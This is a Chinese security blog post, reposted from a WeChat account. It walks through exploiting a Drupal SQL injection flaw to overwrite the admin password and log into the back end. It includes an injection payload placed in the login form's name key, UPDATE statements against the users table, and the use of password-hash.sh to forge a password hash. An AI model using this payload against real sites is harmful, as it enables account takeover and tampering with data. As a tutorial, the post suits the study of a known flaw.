如何通过SQL注入修改密码登录后台

admin 2022年10月12日11:48:22评论109 views字数 801阅读2分40秒阅读模式

如何通过分析代码,利用Drupal系统漏洞修改数据库,通过password-hash.sh生成哈希密码,修改用户密码。

通过分析代码,我们可以发现Drupal系统里面有expandArguments函数,通过foreach过滤函数将数据库键转为为值

如何通过SQL注入修改密码登录后台

这里就是利用对键进行注入写入数据库的
我们可以通过PHPMyadmin修改数据,然后鼠标回到最上方就可以看到我们执行的语句,这里我们执行了一个语句

UPDATE `drupal`.`node_revision` SET `title` = `HACKED by me` WHERE `node_revision`.`vid`=1;

然后我们在浏览器里右键审核元素,这里我们看到的提交的表单,右键Edit As HTML

如何通过SQL注入修改密码登录后台

我们将原有的name的值,修改为

name[0;UPDATE node revision SET title = 'hacked by me' where nid =1;--]

如何通过SQL注入修改密码登录后台

然后左边随意输入用户名和密码,点击登录

如何通过SQL注入修改密码登录后台

然后刷新页面,就会发现一个奇葩的事情,版本更新日志一栏被篡改了

如何通过SQL注入修改密码登录后台

同样的道理,如果我们知道了如何更新用户数据表的内容,是不是也可以注入呢?

UPDATE `drupal`.`users` SET `pass`=`asdasdasd` WHERE `users`.`uid`=1;

但是这里面涉及到一个问题,就是用户密码保存是哈希值

如何通过SQL注入修改密码登录后台

那么如何找到哈希算法呢?我们在Drupal系统的Scripts路径下找到了password-hash.sh

如何通过SQL注入修改密码登录后台

那我们现在通过这个sh脚本文件生成哈希值

./scripts/password-hash.sh hackerloiisveryhandsome

然后就可以获得hash值了

如何通过SQL注入修改密码登录后台

然后,我们把Hash值加到刚才的那个sql语句,然后再通过之前的方法在前端写入

如何通过SQL注入修改密码登录后台


然后通过我们的用户名和密码就可以登录后台了.

原文始发于微信公众号(巡安似海):如何通过SQL注入修改密码登录后台

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月12日11:48:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何通过SQL注入修改密码登录后台https://cn-sec.com/archives/1344237.html

发表评论

匿名网友 填写信息